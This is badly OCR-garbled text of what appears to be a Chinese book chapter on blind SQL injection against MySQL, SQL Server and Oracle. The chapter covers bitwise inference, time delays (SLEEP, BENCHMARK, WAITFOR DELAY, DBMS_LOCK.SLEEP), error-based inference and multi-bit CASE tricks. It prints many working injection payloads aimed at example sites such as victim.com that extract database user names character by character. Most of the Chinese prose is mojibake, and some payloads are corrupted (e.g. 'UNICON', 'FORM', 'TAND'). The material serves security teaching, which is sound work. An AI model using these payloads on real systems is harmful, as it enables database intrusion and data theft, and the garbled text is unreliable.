ERL(LE TR —GDRIER ? R ATATHE, BAITLUAFH 8 MKt 8 MIHATIHR,
XK, RRTFIEERON B SR SRR A, BEAEREIF TR
MAE— PN E— =4,

W BB R 7E TS B BRSO SQL AR A A S RSB NS .. hLhWi%E
b5, # 5-2 FIH T MySQL. SQL Server # Oracle SCHFHIAL B 1E R %, BAERCH i Al j I,
Oracle & £ R34 5+ U7 i) 1 S (OR)FI 57 B (XOR) R ¥, T EATAT LA AT AbFE

F+5-2 = FEUERE P RIEATIRE

B R E L5 (AND) I8 (OR) A F8(XOR)
MySQL i&j ilj i%j
SQL Server i & j ilj irj
Oracle BITAND(ij) i- i-
BITAND(i,j)+j 2*BITAND( )+

FHEIRE —L£ Transact-SQL(T-SQL)IEH], WIRMH F &AM H £/ 5H M FWIRMIEH
JEREINE—ARENR 1, BAXEEXRPIE, FUXEFAR. EREHTE - ARE
THL AT AT Nk HI K 40 A0+ BB 64, EATHFET 51181 (predicate)

ASCII(SUBSTRING (SYSTEM USER,1,1)) & 64
ASCII(SUBSTRING (SYSTEM USER,1,1)} & 64
ASCII(SUBSTRING(SYSTEM USER,1,1)} | 64
ASCII (SUBSTRING (SYSTEM USER,1,1))
ASCII(SUBSTRING(SYSTEM USER,1,1)) ™ 64<
ASCII (SUBSTRING (SYSTEM USER,1,1))

BRFMRHERE EFEGFERAR, HEMEfE RSN, s/ MEEMEH T
“EALS”, ENTMERRK, BEDYRSIAT — K754, ZEWDEAFHROKE. 1]

64

vovol
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BE B —AMUS: AR ERTFHOEAIEEENRE S EIRESEREH, MBRIIAFEIZ
BEWHATHE K. B3 MNHE 4 MEEAMER T R M “HErRR”, EREFEMNET
TREMKRCEEFFHUEE —R). 245280 0N A SB#EZ 5 7 R 5 SR i 5 hn4E {3 A
&FRMLARET, ATLAMERIXBEANER, XREME—RRE. BRITER T —®oaik, A
EHETURRERESEFTPNRE MR 1 &R 0. MEIFAREK, Wixfik 1, &N
0.

BEEFSE W F, REE - NFHHE —LLHITH SQL M TR

SELECT COUNT (chick_id) FROM chickens WHERE status='Incubating' AND
ASCII (SUBSTRING (SYSTEM USER,1,1)) & 128=128--'

IR [B155 78 SQL 4+

SELECT COUNT (chick_id) FROM chickens WHERE status='Incubating' AND
ASCII (SUBSTRING (SYSTEM USER,1,1)) & 64=64--'

iR [E] 5 A1) S(}l.jb:

SELECT COUNT (chick_id) FROM chickens WHERE status='Incubating' AND
ASCII (SUBSTRING (SYSTEM USER,1,1)) & 32=32--'

WA, EHIBIRB|SER 8 A7 1. ¥IX 8 Rk i i xS B vH B T & tH A 8 M7
TR, AR TER N AT LU MR A status ZHOEIX 8 A7 K-

status=Incubating’ AND ASCII (SUBSTRING (SYSTEM USER,1,1)}) & 128=128-- (False)
status=Incubating’ AND ASCII (SUBSTRING(SYSTEM USER,1,1)) & 64=64-- (True)

status=Incubating' AND ASCII(SUBSTRING (SYSTEM USER,1,1)) & 32=32-- (True)
status=Incubating’ AND ASCII (SUBSTRING (SYSTEM USER,1,1)) & 16=16-- (True)
status=Incubating' AND ASCII (SUBSTRING(SYSTEM USER,1,1)) & B8=8-- (False)
status=Incubating' AND ASCII (SUBSTRING(SYSTEM USER,1,1)) & 4=4-- (False)
status=Incubating' AND ASCII (SUBSTRING(SYSTEM USER,1,1)) & 2=2-- (True)
status=Incubating' AND ASCII (SUBSTRING (SYSTEM_USER, 1,1)) & 1=1-- (True)

BT True {438 1, False RFE 0, FFLIRAIGRIMALE N 01110011, BD-|-@EHIR 115, €&
ASCIL FH&ER 115, BRFHs, HFBNE —INFR. WEBHEHERE TAF, KHE
#, HIRERIFEF NI, 5THFHERSEML, MBI ERTEE 8 Mk, B
FH 0] REARSDE X R AL BRAE S VR SRR A BN ENIE R 5 IHARE R AR A MG, BrEATTEA
HAT

KRBANFEHHE 8 Mik, XFERRMEARRR, (HWRHGEMEH SQL 5, B4
MM ARRE. BRRIBE SQL FEAMKEATFFILH, BAREN, REENFHER
% 8 AN EENHER, XMMESIEREHNBEEAE. BT AECAIERE EEERETAL
BEL, LIS e AFsK. BRIVEBEXRERTABBE TR, ENTHEBIRINTF
B AT HEWT Bk F T P AR B R .

’R:
JoRi8 2| 245 A SQL & — A B BAL 5 MR — ML $ 69 L, T A48 80 SQL Server 2000 #=
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2005 B % 369 A /7 % %% FN_REPLINTTOBITSTRING()k £ .. i dadk R #blk — AN S 5 e,
BE NS NRAFHGFHEEA4E$, Hldw, FN _REPLINTTOBITSTRING (ASCII('s))i& =
00000000000000000000000001110011, X & -+ut4l4y 115 RAHAF & s 49 2 A FTH K.

3. EERBERA

REL SQL BERIAT SRR, MRS _HNERMBEEREE. XET7E SHER
BRZEBIZET, HEMTBOR SR KR 5 2B TUR AR RN, T 3F 3 P i SR {5 H A%
TR E A, S RAERIEE RS DNS, e-mail #1 HTTP XK. FEREEHEAEEEN
KR BRI REREGE, TIARHEN MBS FIHRIE. X5
EVCRE BRI BRI AFRI A 2% BIEAT LUE A B MERAR R 200 71, TIARMEA 8
MERBE—ANFH. Ait, ABHIEEREBEBARGTFHERF TR SRR K.

53 RARTHEHER

PIEE DA T —EATXHELAHRMERMA, EFRRMNBENTHIENF AR
R EMBERGFEEOEF RN, ROT\RBEFEIFE—FRETHLE: ERFRINERZ
BB R Y ERE A R R F W ME. A TR AT A —FET B AL,
KA T AN ER . EAR—TF, R TiHEW AT, RATRERSRIE R+
HIR— B X AR ARFRRRE . FARNSE SN —FRER: K HREIRNEEX
BRETRINESR . YERFDVEN, WRESLRNEELD, WRENER, REAH
e, BLARNEFEE —FEERMENTTE BN ERNRT.

531 EiR¥EEEN

A WP IINIER I AE SQL BEEEMIRHETIEE, SRMEIRERSE 8 S5 INERKBIT.
THERANE 2 BINH MySQL. SQL Server 1 Oracle 5| ANZERMH TS,

1. MySQL iR

RIBERERKAR, MySQL SR T R R M BEHFSIAEER. WRE 5012 RZEH
BRA, FTLAEAE SLEEP()R Xk 25 #H 2 F e B B L BN v LE ). B 54 BT —4
4T T SLEEP@A.I7)WEW, ERIFEITT 4178, EWMERTHR.

& 54 4T MySQL i SLEEP()pR ¥

%4 F 5k 414 SLEEPOR A MySQL fi4, T LA4EH BENCHMARK(#M ¥ % # SLEEPQ
#1147 % . BENCHMARKQHIi% ¥ H % BENCHMARK(N,expression), £ expression A3
— SQL £, N RZEZRAEEFTHITHRE. BENCHMARK(R ¥ 5 SLEEPQR I
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T HET: BENCHMARKOR B MEWRIIA T — AN 2B IE# B F MR, 7T SLEEPOFK
BGESP=E— N EEREE . MRHIEESTERAR T, 4 BENCHMARKOHITE
EHmE®, EHTX-BEERRMEMRHMIEREMR, HiEER Kt BENCHMARK(
SANARA o

FE AT RAEM B, BAE BB R INGER, WA AT RER. N TR
1000000000 SR KKIfH o Rik RASRAR i (scalar), EFEEE RN EREEA 26, RIQIE
IR T ##. FER/L BENCHMARKOMMEHI T, Heh &84 MM MySQL
AT

SELECT BENCHMARK (1000000, SHAL (CURRENT USER)) (3.01 seconds)
SELECT BENCHMARK (100000000, (SELECT 1)) (0.93 seconds)
SELECT BENCHMARK (100000000,RAND()) (4.69 seconds)

IXEARFAER T, (BT MySQL FEIEER B WISk SEI — MR FHEW SQL BikX
TR ? BAFIE B TFRUFEX AN R, B FRE S IA— MRS R E . NIRETFERAISE
AR —HERE. BraE —iKka R reviews I, HH7E6E T BEBIFREEE. X154
KA id. review_author Fl review content. (1) 0 [ http://www.victim.com/count_reviews.php?
review author=MadBob i, #HE4T F 512 #7:

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob'

FIREAT BB B A HEWT R BA VR VR NB R P T, o LME R R i, — R
{#F0 SLEEP():

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' UNION SELECT
IF (SUBSTRING (USER(),1,4)="root',SLEEP(5},1)

5 —¥4# F BENCHMARK():

SELECT COUNT (*) FROM reviews WHERE review author='MadBob' UNION SELECT
IF (SUBSTRING (USER(),1,4)="'root', BENCHMARK (100000000, RAND()),1)

IR ENFE O TUHEE K, B3R

count_reviews.php? review author=MadBob' UNION SELECT
IF (SUBSTRING (USER(),1,4)=0x726£6£74, SLEEP(5),1)#

count_reviews.php? review author=MadBob' UNION SELECT
IF (SUBSTRING (USER(),1,4)= 0x726f6f74, BENCHMARK (100000000, RAND()),1) #

(FER, LHEEAFRES 0x726f6174 F¥ T root, X ¥ WA LHAR, AW
BAIAEAFI ST LA E Fr5 8. BMNEREMHIN “4” A TEREHMT. )

[FIAR—TF, BATATE HHHE R IR A R W RS . ZATC SRV T ix e
BRI EREORMERE, BT RBATH A HX BRI G0 F R & .
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1) B8 MySQL — )8 FHETFI A

THE - MEHFREAANFOEER, ZRHFEHRTHRAHEFIEMN UNION
SELECT 3REUHI % $5 3E— A& W 5 B UL ED):
' UNICON SELECT IF(ASCII(SUBSTRING((....),1i,1))>k,SLEEP(1),1)#

' UNION SELECT IF(ASCII(SUBSTRING((....),i,1)}>k,BENCHMARK (100000000,
RAND()), 1}#

TR N ECFEA R T

+ if (ASCII (SUBSTRING((....), i, 1))>k,SLEEP(5),1)#
+ 1if (ASCII(SUBSTRING((....}), i, 1))>k,BENCHMARK (100000000, RAND()},1)#

Hrb i %|H¥ﬁ-im(...)jéﬁm% 1T, k RMET SRR P RE . a0 SEHERT ) R [
TRUE, H -4 myRy &gkt

2) iBAIEY MySQL Z{HEETF A
THE—NFRHBEENGNE T, GHT “BE57 BT UG R KRLZ RO E

=, AR LeF| B R ULEC UNION SELECT FREX A9 %) 5 8B— N aif T g 7 St, Bkt e
N1HATHE b )

' UNION SELECT IF (ASCII(SUBSTRING((....),i,1))&2? =23, SLEEP(1),1)#
' UNION SELECT IF(ASCII(SUBSTRING({(....),i,1))&2? =2 1, BENCHMARK (100000000,
RAND()}, 1)#

THE 2 A ECFEN RHB)T

+ if(ASCII(SUBSTRING((....), i, 1))&2 ? =2 3,SLEEP(1), 1)#

+ 1f (ASCII(SUBSTRING({(....), i, 1))23 =2 3, BENCHMARK (100000000, RAND()),1)#

+ if (ASCII (SUBSTRING((....), i, 1)) 127 >ASCII (SUBSTRING((...),i,1)),SLEEP(1),1)#

+ if(ASCII(SUBSTRING((....), i, 1))12 7 >»ASCII(SUBSTRING((...),i,1)),
BENCHMARK (100000000, RAND(}), 1)#

+ if (ASCIT (SUBSTRING({(....}), i, l}]“Zj <ASCII(SUBSTRING{{...),i,1)),SLEEP{1),1)#

+ if (ASCII(SUBSTRING((....), i, 1))*2 7 <ASCII(SUBSTRING((...),i,1)),

BENCHMARK (100000000, TAND(}), 1)#

Hoa i BHFEIWCDEBEBEIFME i AT, j RERBICOKME—(BAEE, T/ MAEEE).
Fht, SRARKES =6, B4 2=2=8, WMPEHES 5 A2, N 2=2°=32,

R

FF SQL EANKB, WEMALERBENTERAELEN TERAAGOBRRAFEFTER
#—%. Hlde, MySQL _EX T ot ia et & LFHpa £ E 465 WHERE F4 3] ASEiR,
{ady F WHERE -F #] R4BE- 8 — 4T3 AT 745, Pl B4 — A~ 38 iR AR B ARIE & PTHLER 69 T 6) 69 4T3
RHATIRAE. Plho, 2F—A~ 100 4749 A2 K +IF(ASCII(SUBSTRING ( (...),i,1)>k, SLEEP(5),1),
FIA R BEE LA 500 ey, FA EHXMFH5RMBEHGARAFIR, BEFLE
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FHT ARG R K, #t—F 3, dF SLEEPOT iAEMAVH IS, AT —K A 2 0,4+
FATR LB HAF, CBARTARIES 66 LR RGN ® e,

2. SQL Server iR

SQL Server $#&ft T —F BRI E (LA EWMITHIRE S . (/] WAITFOR X F{R{F
SQL Server ¥ & i) 1k — B AT 8] J5 AT . XX B A I 1A BE T LA M o i i) (AE 3 fd
WAITFOR X8 K a]), 7] LURLEN i (SR a3 AT IR, Eadn 21 @ 15). EHMERAKR
AT I 16], IX TG E A 2] DELAY X487 . BEARMPATE# 1 4 53 &, 5[ LAM# ] WAITFOR DELAY
'00:01:53", HEERR—ABLIITT 1 4 53 BHEM, WK 5-5 FrR. EWERKNIE TR
EH ORBAPREE D R, XFRRAPATHAEM D LR . BOIFREFEIEER
AT 15> 53 %, TORKEHIER RBATH 180 1 4 53 8, EKERRENFR.

B 5-5 4T WAITFOR DELAY

7 Microsoft SQL Server FAX fib ##& EE 45 #l BENCHMARK()
2007 44 , Chema Alonso £ # 7 —3#| A SQL Server ¥ —#t #4494 22 i # (processing
load) & %3 K #1449 MySQL BENCHMARK ()3 R 4981 H A, A H IR IEBTRET 5
— AP —— % 2 A480 SLEEPQEA o Edk. EH AR MA-RLEH “5” fRiFeh
FEi#, AP AR PATHEA SRS, FARHES-AHEE, LRLE
K(F x 15K 0), FoATFRGHKES, B-AFEGUNEAZ “5” FHHYhREAN
Fab, KFELERE, WwRELBBGEA 1, MAKKELTALA 00 £ 2 045FH, &
FAIRA AR, CEIFT ALL0A ¥ WAITFOR DELAY X485 t9# %,

Alonso £ T — Ak B ik Ap A L aeg T &, T H £ Microsoft Access. MySQL.
SQL Server #» Oracle L, % T 27T A www.codeplex.com/marathontool _E F #.

BT AREE TEM T WAITFOR X8 F, EMBRMIELEBEE WHERE T+
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7 WAITFOR MR FH 7R 5. AI1E SQL Server A3 ReHEISE#), T &N IR ERBHEH.
AT EH N T : M — DR R PRI N B S E WK R DL SR RRET .
BT RE—ARBINA, B TIE1T4 SQL Server fl ASPNET L2 4h, ‘& 5RTHE M AKAE
F MySQL W EVEE N 54 H[E . TUHE K count_reviews.aspx? review_author =MadBob,
24T SQL #EHIW T fiR:
SELECT COUNT (*) FROM reviews WHERE review author='MadBob'

NG KPR ERI P AN sa, RIHAT T3 SQL:

SELECT COUNT (*) FROM reviews WHERE review_ author='MadBob';
IF SYSTEM USER='sa' WAITFOR DELAY '00:00:05'

WMRIERIEFR A A2 T 5 7, W CAHERTERIH )7 0 sa. ¥ LR TEA KR U E KRG
AR

count_reviews.aspx? review_author =MadBob';IF SYSTEM USER='sa' WAITFOR
DELAY '00:00:05

EHETROSERE, XN UEIERIFREE - NERRTE. IEREN, FASRH
TR ERRM T HERASS EEHIE— i, RATEFER [ HOHEWT B E & T R TR IR R
BANHFARBELEE 5 BRFABRINIAR sa. PR EEEmBENIR, RALUERHP AR sa
A= AR REIR , I SR B RO ) i T HEWT A P 4 sa, (HALAF ATRERBFEAFIAHI T
A RBOZER .

RIS R R T IREE A TR HE TR, BB AT EIRA VR T X L7 T B il
BORFIHEE, B TFRBAFGES HZPFITTENF AR &

1) B8 SQL Server i3 R M| A
FERE-DNFRHREANRKSTORER, BRI 7HEAER, Hif A% E UNION):

'; IF(ASCII(SUBSTRING({ (..),i,l)>k WAITFOR DELAY '00:00:05';--
Hop i REBTFEBC.DREINSE i NFY, K BYa Z#EEERPEE. B TREFFLN
W54, BFEARSFREBEARSTEME.

2) ;@Y SQL Server Z LT F] B

FHREA-NEFREANENEF, BT ‘57, WSy MR gF. %
FIFER 1 k2 iy, i A% UNION:

'; IF(ASCII(SUBSTRING{ (..),i,1)& 2’ = 2’ WAITFOR DELAY '00:00:05';--

e i R FEfC. RESE AT, jEHRERENA. BRTERAEFLNOES S5, K7
FEAREFHHBREARTEMR.
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3. Oracle ¥R

7E Oracle #, {FRZE TN SQL BEMEMEMT —L&. B Oracle FHLHFES
SLEEPOZM N, BREATEA SLEEPQK FRA L FF7E SELECT &I WHERE TH] i
ANE. AIRE SQL AR FHIEH DBMS LOCK 43, X/MuiR4t T SLEEP()ER I3 fth of 5.
AR T AEA) A

BEGIN DEMS LOCK. SLEEP(n); END;

H n AT IERRE
X EFERB AR, §E, N EHBARTERF, FXNER PL/SQL ALFTIE SQL
RES; i B Oracle A3z F#HE%ET#), SLEEPORMERH LS. HIK, BRUAHATRT
IR EE A H R(DBAYSh, H A P8 DBMS_LOCK fU; i H B FIEStUE A%
{8 3% 82 5| Oracle $3# F(GE# LLAE SQL Server 18 % W), iX{# DBMS LOCK #E %,
BREAN AL T PL/SQL BRHp, BT F BIARAD B K 7 4 SR (& Bh — £ /N 45 )
IF (BITAND{ASCII(SUBSTR( (..),i,1)}, 2jJ = 2j} THEN DBMS LOCK. SLEEP(5)
//[END IF;
Hrpi BEHFEM.OREBINE i HFS, j EFEREA.
A LLZIR Alonso $2 88 & 4 ) & v ik

5.3.2 ETHEHETEEE

AR CE¥E2] T 0 =FEER ERFI A E/F 8 . 1SR T # HE &R E TR R AL
REHENTE R . BRI Z A, RSB — LR EL TR TIHE . BIICEHRREEEEY
BERE: P —MREFRTEARE, H—FPREVNTRGIRE, RITTREERRERE
Bo BHAERETEENRREE, XHMTEALWE, MRLPXMBRRON. mRiEK
e TARRY R, A ER B BAIH BN NER S A, 188 T8 ) o e sl (s 3 5 7 BF
S5IRBMMAN . AT B R 7 ik o b R R 1 )

1) WIEREEALHK, DIUHREMATGEMERZEM. WH RTT(Round Trip Time, ¥
HEIRRTEDN A 50 R, AP 30 BN EETRAME K |, 28E5 T eEpEx
At SE IR P HEWT BT A8 FH OB IR . dRPE AR, IEIR AU ER O T R B R ARSI FE 1 8, 123
AEY, BEME, FRioRiMan g, MXeSBEEEREARRE. KHERERER
IR T 3 £ R sk R B PR R Web N HE B I 5 6 O IKURR:

2) A RERANILFELSMARNIER, BN EEmE T4, Hph—MakEMNE
0 BFEAERER, H—ANERMER 1 BTAEIR. B MERERNHNEEZIES KSR
YA — N AT RERARE, BME B IEH & SR B FE 43 AT UEWRIRE . 5%
T F R WRFRBFERNER, X NEKRE RS2 R AW FREE H W -
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5.4 ARA X TFohEHABEAR

TE AT A1 P i SR o TR A S T RO R — A, BRATIE VT LB A R R i R 3O
(BB R ARL)RARCRE . HEWDRAR, 7T U B R A & 0 SCA SRR B4 52 (L I 5
REAE AR, B, W UAERNTR A R A BEEANEE: LSRANLY 1 N, BEES
B O MMRRELRE: RESAN 18, SBHEFE—ER, T 0 HA4EHR.

BARE T REFN = AEMROBAR, BELER—T: RITIRSENHRKBRIETH
TR HRFE R, DRENKBEFENE, TARERIARERERE LR,
R 2T ) 10 R B R A R R, A RANE BB AR

£ SQL B TR A ZT m N M AKMEWEE, EHERASRIFTZER (LW
AR BR PR EY) MR . B0 i S AR TR Ak 3R (] 4 1 B REAR B B B
B BB ST RORHAEWT B ET, AT R R IR ERR AL T i

54.1 MySQL MR # AR

W BEPUT FHIE A HIER, P Web NA BB ARIE MadBob, M reviews K&
Bl — AT A& 7E SUE MR N B BE . BN

SELECT COUNT(*) FROM reviews WHERE review author='MadBob'’

AT RRNHAT, 65T MadBob SHIVLYE, EBm7EME 5-6 Fmk) Web Tl L.

Reviewer: (Search)

B 5-6 ¥ MadBob R [EIfIVERECY 2, FERHEN

[t ()] WHERE FAIHEA S5 ANMEER A AN & B SO MR TR P4 R« 8 KA
WL A WREIRE T —17RHAERE AL, ERNENDTHR:

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' AND
ASCII (SUBSTRING ( user(),i,1))>ki#
WRAREL R, WATCLHERE | AF VIS k A0k, BN 1, WE 5-7 fin. XHPa

4 MadBob' and if(ASCII(SUBSTRING ( user(),1,1))>127,1, O#F R R BT 0 £iFik. X
B—AMBURE, FrLAE— N F R/ ASCI H/D T 127.
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ERBFSHET, AL . PERA. WRIEBEEN.

SELECT COUNT (*) FROM reviews WHERE id=1

R R I

@ http:/ fwww.victim.com/mysql_root_error.php [+ -

Review count: 0
Reviewer: Search

e P i B s 5 o o S o Rt g S e ST )
B 5-7 EHWEBEKITRECH 0, BAEMEN

AT ERRRCLITIERITR S 5 FEENFRFB R

SELECT COUNT(*) FROM reviews WHERE id=1+
if (ASCII (SUBSTRING ( user(),i,1))s 2} = 27,1,0)

WMRTEBRAR, WETLER S —FHERCRER L BRI | m3REE—ANE
WEEHIR, BEIMMER 0 WA AR, BB S H MySQL FEMNL B, wJ{El)
T% SQL Z (L T E L HEWT ) ik B M =4 — MR

SELECT COUNT (*) FROM reviews WHERE

id=IF (ASCII (SUBSTRING (CURRENT USER(),i,1))& 2’=2, (SELECT table_name

FORM information_schema.columns WHERE table name=(SELECT table name
FORM information schema.columns)), 1)

ZHEHASER, ABTRHERNRS NSNS . FOEALELGS L, WREGHRE
AL AN ASCI(SUBSTRING ( user(),i ))& 2/ = 2/, ‘ELBLT BAr M. mEL
A j R 1), WIATHE# SELECT table_name FROM information_schema.columns
WHERE table_name=(SELECT table_name FROM information_schema.columns) . {ZEHEE—1
FEHBTREZITRTFER. HYXRRELEN, FTUBITEIEFFE— MR A, MRS
J LA 0, A IFOIFERAILKIEF] 1. IFQERIHIE 4324 F W B[ information_schema.columns %,
MySQL 5.0 & Z J5 RRA B BT A PE P 7 FE IR

T EIRHIR, /A PHP S5 L MySQL {E R SR tA R AL A BT, ZER0R R MIT
SRR PR R R 2 A 3| % A R T 053 . VR U 4 A mysql_queryQR7IE
[B] FALSE Ei# mysql_errorQRFRE—MEFFHH . RBEHF —NFMFHL, THRSITH
—AMNAE AR RER . XPEMIN SRR, MySQL #HR A4 4 HTTP 500 M NARES, ik
FAEIEH ) 200 W NARHS .
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5.4.2 SQL Server Mo iz #7 A

WAE TS T-SQL HiiEF, H%ERTIELH M 5 ZEEKERRETEE T kAN S
BB

SELECT COUNT (*) FROM reviews WHERE review_author='MadBob' and
SYSTEM USER='ga'

MREWIRE TR, WMERKNERA TR sa: WRABREUEMRIAT, T8 RE KA.
A DAR A 2 sk 2 A 5 T R R AUE AL TR AR Ok DMER DU IER B R

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' AND
ASCII (SUBSTRING ( user(),i,l))>k--

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' AND
ASCII (SUBSTRING ( user(),i,l))s 2} = 23

1€ SQL Server 1, #¥4r FHFHIT A LIS H T W R B ARREF I TH R T 4. %546 Fb
£/ CASE HIFAFTHM, ATUEMRMRTFARENRE)FEE—PFHE, HAEEE
—MMEM =R R T

SELECT COUNT (*) FROM reviews WHERE review author='Mad' +(SELECT CASE WHEN
ASCII(SUBSTRING ( user(),i,1l))>k THEN 'Bob' END)+' '

T T R A N B 8 RSB AL T VR R B

SELECT COUNT (*) FROM reviews WHERE review_author='Mad' +(SELECT CASE WHEN
ASCII (SUBSTRING ( user(),i,1)) & 2’ = 27 THEN 'Bob' END)+' '

MR REEER ‘MadBob’ FIAK, XHNEWAREITT WAL E, NHA7E —#H1H
RAAP, BiDFWH ASCHEEL k K, FERMAHAPE i DMFWRE N 1,

AT A3 7= A — N M08 PR AR R DA 1 T ZE B S A AR B B AR R, SRR BT Py
2, WA IRE D BRINHNR T E e — A HTTP 500 5 . % WA /M9 FRIZ4T7E 1IS(Internet
{7 B M45)6 17 LI ASPNET 34 /5, &84 7 web.config fit B X4 P& <customError>#47%
WE, HFESZHEHTUMEREHIRRTE . R HREERLE—NZHRY SQL &, M4
BR—AN5E 5-8 LM TURH. WABIIREF HTTP k& &M, HTTP REN 5003 AHE
5-9). HIRIH AR BB ESEWETHENERR &S, ENEFREFEEIEESR
HE. '
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-
Server Error in '/' Application.
Runtime Error

ip An ofror
being viewed remotely (for security

mm.lmu.mcm:mmmmvﬂmwmh“ﬁhmmm
It could, . be viewed by running on the local server machine.

bmi!-:rommdmuu-w:n:mmwhhm‘mmmm.mmncmm:mm.w.w
wmﬂabwuhmrw.dumyumwmm.mxmmﬁm»mqmmmu'mmmmw

<!-- web.config configuration File --»
<configuration>
<system.web>
<customErrors mode="0ff"/>
</system.web>
</configuration>
Hohl:mcmmmywmuﬁvwmwﬁ by a custom error page by w‘gummnmuu-ppbmx
<customErrors> configuration tag 1o point 1o a custom effor page URL.
<!-- web.config configuration File -->
<configuration>
<system.web>
<CustomErrors mode="RemoteOnly" defaultRedirect="mycu stompage.htm" />

</system.
</confi ;urati on>

h

Pl 5-8 ASPNET BRI R THE

HTTP/1.x 500 Internal Server Error
Date: Fri. 09 Jan 2009 13:07:34 GMT
Server: Microsoft-115/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private

Content-Type: text/html; charset=utf-8
Content-Length: 4709

Bl 5-9 RRiRAN 500 #ma Rk

FINERBEMELTT. BE ERREERR, BHXLSBERTERNZ T—HEK, R
RBIE L FE L 4% 3R 5| R B SR RS 45 2 S BR MOk O 9T 401 CASE S AERSEB1i% H 19

SELECT COUNT (*) FROM reviews WHERE review_author='MadBob' +(CASE WHEN
ASCII (SUBSTRING ( user(),i,1))>k THEN CAST(1/0 AS CHAR) END)

RELAEINFEHE KN 1 A2 TSR, HF ARG IEHENRE.
5.4.3 Oracle ARz EA

Oracle *1ETW S AR FH7ES: 4 L 5 MySQL #1 SQL Server HEAHl. {83 F 3447, 1R
HE, ENERBTARMERYE. B, T HES0EER > £75% DBA, T3 SQL WL
KRR EAT, T2E& X BN AREELT
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SELECT COUNT (*) FROM reviews WHERE review_author="'MadBob' AND
S¥YS_CONTEXT ('USERENV', 'ISDBA')="'TRUE'

FHE, TS MEAENFIAE, RIEE - MENERREIRE S RERIRRE:

SELECT COUNT (*) FROM reviews WHERE review_ author='MadBob'
AND BITAND (ASCII (SUBSTR((..),i,1)), 2%)= 23

IR R AR

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' and
ASCIT (SUBSTR((.),1i,1))>k

KR LAMEH Oracle BF#F B EBREAR R RERBBRA RS EF IR+ ZLMFERFM, %

PR RIERM CASE ERPRAHES Airsr. FoIEKFRHH:

Mad' || (SELECT CASE WHEN ASCII (SUBSTRING {( user(},i,1))>k THEN 'Bob' ELSE '
'END FROM DUAL) || ';

R AN IR EI IR 4 &7 ‘MadBob” TR .

Ba, BALERTUMERBRECN 0 FRRFEBITHREEIR, X5 SQL Server H IR /EMEL.

THZ2-BEAMNRE, EEFRS. FELRBLTETERT 0 BRE:

Mad' || (SELECT CASE WHEN BITAND (ASCII (SUBSTR((..),i,1)), 23)= 27 THEN
CAST(1/0 AS CHAR) ELSE ' 'END FROM DUAL) || ':

WER, WA CASTORIIERR, FUE RS —HEEEHE RN RB. LN &

FEIZATTE Apache Tomcat {15 32t TUH +i&[E TRUE B, ¥ —/NRM@RFH, H4E

5-10 Fi7RE9 HTTP 500 R & 884448 .

 hitp: / fwww.victim.com fora-nondba-exception. jsp

org.apache. jasper. tion: ORA-01476: divisor is equal to zero

org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServietWrapper. java:460
org.apache. jasper.servlet.JapServletWrapper.service(JspServletWrapper.java:355)
org.apache. jasper.servlet.JapServlet.serviceJspFile(JspServlet.java:329)

org.apache. jasper.servlet.JaspServlet.service(JapServlet.java:265)
javax.servlet.http.HttpServlet.service(HttpServliet.java:729)

root cai:

javax.servlet,ServletException: ORA-01476: divisor is equal to zero

org.apache.jasper.runtime.PageContextImpl.doBandlePag ption(P xtImpl.java:841)
org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:774)
org.apache. jsp.ora_002dnondba_002dexception_jsp._jspService(ora_002dnondba_002dexception_|
org.apache. jasper.runtime.BttpJepBase.service(HttpJspBase. java:98)
javax.servlet.http.HttpServlet.service(HttpServliet.java:729)

o

B 5-10 0 BR¥5] K Oracle RIIRAH
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544 EEZHES

BB AT E, WA GROHENER E B R IRIEAN L RORE, RIBOREN
5 IR [F] TRUE & & FALSE. ¥ b, PAMRERAFEMEREBR—MEBL. WRT
HEEFRE, WG MERTTLERRE S W6, XA UIRAEER . B MERTRRTAL
¥k log,n, Hrb n AIERFTAEAPRAS . DAABKTIHE, BEHRRME 2 £, HMFRTE 4
FORA: BEAURE 3 A, BMEREE 8 MiRE: BRUER 4 £7, BMEKREE 16 Rk,
ROEHE, T —MERTINE L FARANE? ESERHLT, MEATREERTH 5 R EH)
FEANMPEAAE SQL BE—R, HEAARESIAEZREN, (H@H T RIS M. X T
A5k P B i) 7 ¥R P A 7 VR B B HE T L R L, S I KPR B Al

FIHM AL, BECEE 7E 1 ADFNNE jARER 1. MREE 4 MR, W
FREUT 1) B AT LU XA — 2 WA | AN FITRE § AT AP RL R E 5 00, 01, 10 2K 11
o SR I R0 4 D HEWT 7735, AR B ] BB AT B T 71 CASE 4

CASE
WHEN ASCII (SUBSTRING((...),i,1))&( 27+27"h)=0
THEN WAITFOR DELAY '00:00:00"
WHEN ASCII(SUBSTRING((...),i,1)) &( 27+23™h)=1
THEN WAITFOR DELAY '00:00:05"
WHEN ASCII (SUBSTRING((...},i,1)) &( 23+23" =2
THEN WAITFOR DELAY '00:00:10"
ELSE

THEN WAITFOR DELAY '00:00:15°
END

IXFERUF A 28R 4. BAEH FELHER 1), CASE BHLE—A 15
BHEER, XHEREH 5 BIERRE — AR R B 2K, EX TP ARERTNS, F
PIRER AT 10 o BT RERIEREGE D, DI IEREH RIB AT AL _E AR
CRICIES R

BIREREN 5 —F7ER B WHERE A (BRI, Flan S 4 Falgess /4 1
—Fh,  ATTHE ML F7F -

SELECT * FROM reviews WHERE review author='' + (SELECT
CASE
WHEN ASCII (SUBSTRING((...),i,1))&( 23+23™)= 0
'MadBob'
WHEN ASCII(SUBSTRING((...),i,1))&( 2'+237)=1
'Hogrth'
WHEN ASCII (SUBSTRING((...),i,1))&( 2%+237h)= 2
' Jag"
ELSE
*Eliot’

END)
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HRLEGRS ‘MadBob’ HILAR, HEWIZSEA 00°; 5 ‘Hogarth’ HIULECH, HENTHr
$h ‘01’; 5 ‘Jag’ AHUUECH, WIS 10°:; 5 ‘Eliot’ MUTEM, HEWRIER 117,

LR HIB A CASE WEATJUFE T I SodE B AT ik, AT UK st R AT o .
THAHER EEGR AR NI -FXER, B KT, BERTREFIA ASCIH H Y 127,
REKE—NEBEEAE: “127 BEKT 1277 7. BF 4 FALSE, XHERLFEE—FE N
7 AN RIERSOE K B, HBAR M 127 RE KT 1262 7 WA AT CAHENT A M. MR, o
